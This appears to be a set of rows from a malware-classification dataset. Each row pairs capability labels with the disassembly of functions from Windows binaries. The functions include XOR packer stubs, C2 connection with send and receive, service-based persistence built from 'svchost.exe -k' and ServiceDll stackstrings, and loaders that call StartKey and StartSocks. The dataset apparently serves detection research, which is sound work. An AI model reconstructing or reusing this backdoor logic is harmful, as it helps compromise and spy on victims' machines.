joyce8/EMBER2024-capa huggingface dataset:
Function at 0x701bd8
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xc
push 0
push 0
dec ecx
jne 0x701be0
push ebx
push esi
push edi
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x701fd6
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x20]
mov eax, dword [0x72a6bc]
mov eax, dword [eax]
call fcn.005a7a18
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 4]
call fcn.00421dd4
lea edx, [ebp - 0x24]
mov eax, dword [0x72a6bc]
mov eax, dword [eax]
call fcn.005a7a18
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 8]
call fcn.00421e14
mov eax, dword [0x72a6bc]
mov eax, dword [eax]
call fcn.005a6fdc
xor edx, edx
push ebp
push 0x701d30
push dword fs:[edx]
mov dword fs:[edx], esp
mov dl, 1
mov eax, dword [0x482404]
call fcn.00407628
mov ebx, eax
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0x3d8]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x3d4]
mov ecx, dword [eax]
call dword [ecx + 0x60]
movzx eax, byte [0x701fe4]
push eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x3e1]
mov ecx, 0x701ff4
mov edx, 0x702008
call fcn.004286b0
push 0x702018
push dword [ebp - 0xc]
push 0x702080
lea eax, [ebp - 0x28]
mov edx, 3
call fcn.0040a5d0
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x3d4]
call fcn.006f4cd8
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x3d4]
call fcn.006f7628
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x14], eax
push 0x702098
push dword [ebp - 0xc]
push 0x702100
lea eax, [ebp - 0x2c]
mov edx, 3
call fcn.0040a5d0
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x3d4]
mov ecx, ebx
call fcn.006f4c80
push dword [ebp - 4]
mov eax, dword [ebp - 0x10]
push dword [eax + 0x3e1]
push 0x702118
lea eax, [ebp - 0x30]
mov edx, 3
call fcn.0040a5d0
mov edx, dword [ebp - 0x30]
mov eax, ebx
call fcn.004a2d5c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x701d8c
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x3d4]
call fcn.00407658
push dword [ebp - 4]
mov eax, dword [ebp - 0x10]
push dword [eax + 0x3e1]
push 0x7021bc
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.0040a5d0
mov eax, dword [ebp - 0x38]
call fcn.0067ab94
test al, al
je 0x701fae
push dword [ebp - 4]
mov eax, dword [ebp - 0x10]
push dword [eax + 0x3e1]
push 0x7021dc
lea eax, [ebp - 0x3c]
mov edx, 3
call fcn.0040a5d0
mov eax, dword [ebp - 0x3c]
xor edx, edx
call fcn.004217ac
mov dword [ebp - 0x18], eax
xor eax, eax
push ebp
push 0x701e25
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.DLL_GetFileSize
mov dword [ebp - 0x1c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x701e2c
mov eax, dword [ebp - 0x18]
call fcn.00421980
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x701fdd
lea eax, [ebp - 0x60]
mov edx, 0x11
call fcn.004093ac
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004093ac
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x73627399
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x42e1d0
mov ecx, 0x3908656d
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x40c21dd5
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x7ad16910
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x100013a7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 4], ecx
mov edi, dword [esi + 0xc]
add dword [0x100066a4], 0x1916
lea eax, [edi + 0x400]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add dword [0x100066a8], 0x781e
mov ebx, eax
movzx eax, word [esi + 0x18]
add dword [0x10006698], 0x5033
pop ecx
mov ecx, dword [ebp - 4]
lea eax, [eax + esi + 0x1a]
xor esi, esi
push esi
push esi
push esi
push ebx
push eax
call fcn.100010d0
push esi
add dword [0x100066b8], 0x2e91
push 0x80
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
add dword [0x100066b4], 0x251a
cmp eax, 0xffffffff
mov dword [ebp + 0xc], eax
jne 0x10001444
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add dword [0x100066a8], 0x65b0
pop ecx
xor eax, eax
jmp 0x10001490
add dword [0x100066ac], 0x693d
lea ecx, [ebp + 8]
push esi
push ecx
push edi
push ebx
push eax
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
add dword [0x10006698], 0x81b
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add dword [0x100066a8], 0x56c6
pop ecx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add dword [0x100066a8], 0x70f2
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x1000187c
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x608
and byte [ebp - 0x608], 0
push ebx
push esi
mov ebx, ecx
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x607]
rep stosd dword es:[edi], eax
push dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x608]
push str.http:___s
push eax
call esi
and byte [ebp - 0x108], 0
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x107]
push 0x40
add dword [0x100066a0], 0x30dd
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
push 0xfa
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
add dword [0x100066b0], 0x1314
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
lea eax, [ebp - 0x108]
push str._08x.txt
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x108]
push eax
call esi
add dword [0x10006698], 0x29b1
add esp, 0xc
lea eax, [ebp - 0x108]
mov ecx, ebx
push eax
lea eax, [ebp - 0x608]
push eax
call fcn.10001512
test eax, eax
je 0x10001a28
lea eax, [ebp - 4]
and dword [ebp + 8], 0
add dword [0x100066a0], 0x3bd1
and dword [ebp - 4], 0
add dword [0x100066b4], 0x5cb0
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.10001ddc
add esp, 0xc
test eax, eax
je 0x10001a28
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
and byte [ebp - 0x208], 0
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x207]
add dword [0x100066ac], 0x6d6
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x208]
mov ecx, ebx
push eax
push str.ServerAddr
push dword [ebp + 8]
call fcn.10001768
test eax, eax
jne 0x100019df
push dword [ebp + 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add dword [0x100066bc], 0x619a
pop ecx
jmp 0x10001a28
lea eax, [ebp - 0x208]
push eax
lea eax, [ebx + 8]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
add dword [0x100066a0], 0xb96
pop ecx
lea eax, [ebp - 0x208]
push eax
push str.ServerPort
push dword [ebp + 8]
mov ecx, ebx
call fcn.10001768
test eax, eax
jne 0x10001a2c
push dword [ebp + 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add dword [0x100066ac], 0x5a12
pop ecx
xor eax, eax
jmp 0x10001a5f
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push dword [ebp + 8]
mov dword [ebx + 0x108], eax
add dword [0x100066bc], 0x3c6d
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add dword [0x100066a4], 0x2c02
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10001b3d
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
and dword [ebp + 8], 0
mov esi, ecx
cmp dword [esi + 4], 0
je 0x10001b83
test ebx, ebx
jbe 0x10001b79
push 0
push ebx
push edi
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10001b83
add dword [ebp + 8], eax
add edi, eax
sub ebx, eax
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0xc]
jb 0x10001b59
push 1
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret 8
xor eax, eax
jmp 0x10001b7c

Function at 0x10001b87
Capabilities:
Encode data using xor

Disassembly:
add dword [0x100066a4], 0x2e0e
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0x10001ba9
mov eax, dword [esp + 4]
add eax, ecx
xor byte [eax], 0xf7
inc ecx
cmp ecx, dword [esp + 8]
jb 0x10001b99
ret 8
Function at 0x10001c05
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
and word [ebp - 0x10], 0
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and byte [ebp - 0x124], 0
push 0x40
stosd dword es:[edi], eax
stosw word es:[edi], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x123]
push dword [ebp + 8]
rep stosd dword es:[edi], eax
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add dword [0x100066b4], 0x5b50
add dword [0x100066a8], 0x1e40
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x124]
push eax
call ebx
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
add dword [0x10006698], 0x6f34
lea eax, [ebp - 0x124]
push eax
call esi
add dword [0x100066a8], 0x58e5
cmp eax, 0xffffffff
jne 0x10001cf2
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
add dword [0x100066ac], 0x44ef
mov ecx, eax
test ecx, ecx
je 0x10001d87
and word [ebp - 0x20], 0
xor eax, eax
lea edi, [ebp - 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
movsx eax, word [ecx + 0xa]
push eax
mov eax, dword [ecx + 0xc]
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call sub.MSVCRT.dll_memcpy
add dword [0x100066ac], 0x5ad9
add esp, 0xc
push dword [ebp - 0x1c]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x124]
push eax
call ebx
add dword [0x100066b0], 0x18af
lea eax, [ebp - 0x124]
push eax
call esi
push dword [ebp + 0xc]
add dword [0x100066b8], 0x7945
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
add dword [0x10006698], 0x5d8c
push 6
push 1
push 2
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_socket]
add dword [0x100066b8], 0x59aa
mov esi, eax
cmp esi, 0xffffffff
je 0x10001d87
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x10001d80
add dword [0x100066a8], 0x4bb1
lea eax, [ebp + 8]
push 4
push eax
push 0x1006
push 0xffff
push esi
mov dword [ebp + 8], 0x1b7740
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x10001d8b
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10001d8d
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10001ddc
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
add dword [0x10006698], 0x68e0
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x10001e15
xor eax, eax
jmp 0x10001ea9
add dword [0x10006698], 0x71a8
push ebx
push edi
push esi
push eax
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, dword [ebp + 0x10]
mov ebx, 0x400
mov dword [esi], eax
add dword [0x100066b4], 0x53b3
mov eax, dword [esi]
add eax, ebx
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [ebp + 0xc]
mov dword [edi], eax
add dword [0x100066a4], 0x6367
mov eax, dword [esi]
add eax, ebx
push eax
push 0
push dword [edi]
call sub.MSVCRT.dll_memset
add dword [0x100066bc], 0x7f5b
add esp, 0x10
lea eax, [ebp - 4]
push 0
push eax
push dword [esi]
push dword [edi]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
add dword [0x100066ac], 0x38c9
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add dword [0x100066b4], 0x78ed
push 1
pop eax
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10001eac
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10c]
push 0xc8
push eax
push dword [0x1000619c]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 8]
add dword [0x1000669c], 0x521e
and dword [ebp - 4], 0
add dword [0x100066bc], 0x62de
and dword [ebp - 8], 0
add dword [0x100066b8], 0x2234
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.10001ddc
add esp, 0xc
test eax, eax
je 0x10001f79
mov eax, dword [ebp - 8]
add dword [0x100066a4], 0x680d
mov ecx, dword [ebp - 4]
add eax, 0xfffffff8
cmp eax, 8
jbe 0x10001f68
mov edx, 0x12345678
cmp dword [eax + ecx], edx
jne 0x10001f4e
cmp dword [eax + ecx + 4], edx
je 0x10001f56
dec eax
cmp eax, 8
ja 0x10001f43
jmp 0x10001f68
add dword [0x1000669c], 0x597b
lea eax, [eax + ecx + 8]
test eax, eax
jne 0x10001f7d
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add dword [0x1000669c], 0x6004
pop ecx
xor eax, eax
jmp 0x10001fe3
push esi
add dword [0x100066b4], 0x4c67
mov esi, 0x4f8
lea edi, [eax + 0x4f8]
push esi
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp + 8]
add dword [0x10006698], 0x87b
add dword [0x100066a4], 0x1916
add esp, 0xc
sub edi, eax
mov cl, byte [edi + eax]
xor byte [eax], cl
add dword [0x100066a8], 0x781e
inc eax
dec esi
jne 0x10001fb9
push dword [ebp - 4]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add dword [0x10006698], 0x5033
pop ecx
push 1
pop eax
pop esi
pop edi
leave
ret
Function at 0x10001fe6
Capabilities:
Start service

Disassembly:
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
add dword [0x100066b8], 0x2e91
mov edi, eax
test edi, edi
je 0x1000206f
push 0xf01ff
push dword [esp + 0x10]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
add dword [0x100066b4], 0x251a
mov esi, eax
test esi, esi
jne 0x1000203a
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add dword [0x100066a8], 0x65b0
jmp 0x1000206f
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
add dword [0x100066ac], 0x693d
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
add dword [0x10006698], 0x81b
push edi
call esi
add dword [0x100066a8], 0x56c6
pop edi
pop esi
ret
Function at 0x10002072
Capabilities:
Contain obfuscated stackstrings
Create service
Get common file path
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
add dword [0x100066a8], 0x70f2
push ebx
push esi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
add dword [0x1000669c], 0x6e7e
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1000228a
push edi
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
mov byte [ebp - 0x20c], bl
rep stosd dword es:[edi], eax
add dword [0x100066b4], 0x6ced
add dword [0x100066a0], 0x30dd
add dword [0x100066a4], 0x58dd
add dword [0x10006698], 0x2f13
add dword [0x100066b4], 0x70d
add dword [0x100066ac], 0x70ea
add dword [0x100066a0], 0x3bd1
add dword [0x100066b8], 0x7c76
add dword [0x100066a4], 0x252d
add dword [0x1000669c], 0x77d4
add dword [0x100066b0], 0x1314
add dword [0x10006698], 0x29b1
add dword [0x100066b4], 0x5cb0
add dword [0x100066ac], 0x6d6
add dword [0x100066bc], 0x619a
add dword [0x100066a0], 0xb96
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x20c]
push 0xc8
push eax
mov byte [ebp - 0x108], 0x5c
mov byte [ebp - 0x107], 0x73
mov byte [ebp - 0x106], 0x76
mov byte [ebp - 0x105], 0x63
mov byte [ebp - 0x104], 0x68
mov byte [ebp - 0x103], 0x6f
mov byte [ebp - 0x102], 0x73
mov byte [ebp - 0x101], 0x74
mov byte [ebp - 0x100], 0x2e
mov byte [ebp - 0xff], 0x65
mov byte [ebp - 0xfe], 0x78
mov byte [ebp - 0xfd], 0x65
mov byte [ebp - 0xfc], 0x20
mov byte [ebp - 0xfb], 0x2d
mov byte [ebp - 0xfa], 0x6b
mov byte [ebp - 0xf9], 0x20
mov byte [ebp - 0xf8], bl
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add dword [0x100066ac], 0x5a12
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push eax
call esi
add dword [0x100066bc], 0x3c6d
mov edi, 0x10006408
lea eax, [ebp - 0x20c]
push edi
push eax
call esi
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x20c]
push ebx
add dword [0x100066a4], 0x2c02
push eax
push 1
push 2
push 0x110
push 0xf01ff
push 0x10006520
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
add dword [0x100066b8], 0x1429
mov esi, eax
cmp esi, ebx
pop edi
jne 0x1000228e
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add dword [0x100066bc], 0x3b3c
xor eax, eax
jmp 0x100022db
add dword [0x100066a4], 0x3cc9
lea eax, [ebp - 8]
push eax
push 1
push esi
mov dword [ebp - 8], 0x10006420
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
add dword [0x100066a4], 0x665d
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 4]
add dword [0x100066b4], 0x1385
call esi
add dword [0x100066b8], 0x4af7
push 1
pop eax
pop esi
pop ebx
leave
ret
Function at 0x100022df
Capabilities:
Delete service

Disassembly:
add dword [0x100066a4], 0x2e0e
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
add dword [0x100066b0], 0x14ef
mov edi, eax
test edi, edi
je 0x1000236e
push 0xf01ff
push dword [esp + 0x10]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
add dword [0x100066a4], 0x4516
mov esi, eax
test esi, esi
jne 0x1000233d
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add dword [0x100066ac], 0x5d23
jmp 0x1000236e
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
add dword [0x100066a8], 0x2813
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
add dword [0x100066b4], 0x5b50
push edi
call esi
add dword [0x100066a8], 0x1e40
pop edi
pop esi
ret

Function at 0x10002371
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 0xf003f
add dword [0x10006698], 0x6f34
add dword [0x100066a8], 0x58e5
push ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
push dword [ebp + 8]
mov dword [ebp - 8], ebx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
add dword [0x100066ac], 0x44ef
cmp eax, ebx
jne 0x10002514
push edi
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
mov byte [ebp - 0x20c], bl
rep stosd dword es:[edi], eax
push dword [ebp + 0xc]
add dword [0x100066ac], 0x5ad9
add dword [0x100066b8], 0x7945
add dword [0x10006698], 0x5d8c
add dword [0x100066a8], 0x4bb1
add dword [0x100066a0], 0x19bd
add dword [0x100066b0], 0x18af
add dword [0x100066b8], 0x59aa
add dword [0x100066ac], 0x1126
add dword [0x10006698], 0x48f3
add dword [0x100066a0], 0x6569
add dword [0x100066a8], 0xc30
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x20c]
mov byte [ebp - 0x108], 0x53
push eax
mov byte [ebp - 0x107], 0x65
mov byte [ebp - 0x106], 0x72
mov byte [ebp - 0x105], 0x76
mov byte [ebp - 0x104], 0x69
mov byte [ebp - 0x103], 0x63
mov byte [ebp - 0x102], 0x65
mov byte [ebp - 0x101], 0x44
mov byte [ebp - 0x100], 0x6c
mov byte [ebp - 0xff], 0x6c
mov byte [ebp - 0xfe], bl
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add dword [0x100066bc], 0xf6a
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
add dword [0x100066b8], 0x22e4
push eax
lea eax, [ebp - 0x20c]
push eax
push 2
lea eax, [ebp - 0x108]
push ebx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
add dword [0x100066b0], 0xe99
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add dword [0x10006698], 0x1e40
pop edi
pop ebx
leave
ret
Function at 0x100034ce
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
and dword [ebp + 8], 0
mov esi, ecx
cmp dword [esi + 4], 0
je 0x10003514
test ebx, ebx
jbe 0x1000350a
push 0
push ebx
push edi
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10003514
add dword [ebp + 8], eax
add edi, eax
sub ebx, eax
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0xc]
jb 0x100034ea
push 1
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret 8
xor eax, eax
jmp 0x1000350d

Function at 0x10003519
Capabilities:
Delete file

Disassembly:
push ebx
mov ebx, ecx
push esi
push edi
lea edi, [ebx + 0x108]
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add dword [0x100066bc], 0x62de
mov esi, eax
test esi, esi
jne 0x10003570
push 0x1f45
push edi
mov ecx, ebx
call fcn.10003388
add dword [0x100066b8], 0x2234
mov esi, eax
test esi, esi
jne 0x10003570
push dword [0x100061a4]
call dword [sym.imp.KERNEL32.dll_Sleep]
add dword [0x100066a4], 0x680d
jmp 0x1000353b
push str.StartKey
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add dword [0x1000669c], 0x597b
test eax, eax
je 0x100035a9
call eax
add dword [0x1000669c], 0x6004
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
add dword [0x100066b4], 0x4c67
jmp 0x100035cb
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
add dword [0x10006698], 0x87b
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add dword [0x100066a4], 0x1916
pop edi
pop esi
pop ebx
ret

Function at 0x100035ed
Capabilities:
Delete file

Disassembly:
push ebx
mov ebx, ecx
push esi
push edi
lea edi, [ebx + 0x208]
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add dword [0x100066b8], 0x2e91
mov esi, eax
test esi, esi
jne 0x10003644
push 0x1f45
push edi
mov ecx, ebx
call fcn.10003388
add dword [0x100066b4], 0x251a
mov esi, eax
test esi, esi
jne 0x10003644
push dword [0x100061a4]
call dword [sym.imp.KERNEL32.dll_Sleep]
add dword [0x100066a8], 0x65b0
jmp 0x1000360f
push str.StartSocks
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add dword [0x100066ac], 0x693d
test eax, eax
je 0x1000367d
call eax
add dword [0x10006698], 0x81b
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
add dword [0x100066a8], 0x56c6
jmp 0x1000369f
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
add dword [0x100066a8], 0x70f2
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add dword [0x1000669c], 0x6e7e
pop edi
pop esi
pop ebx
ret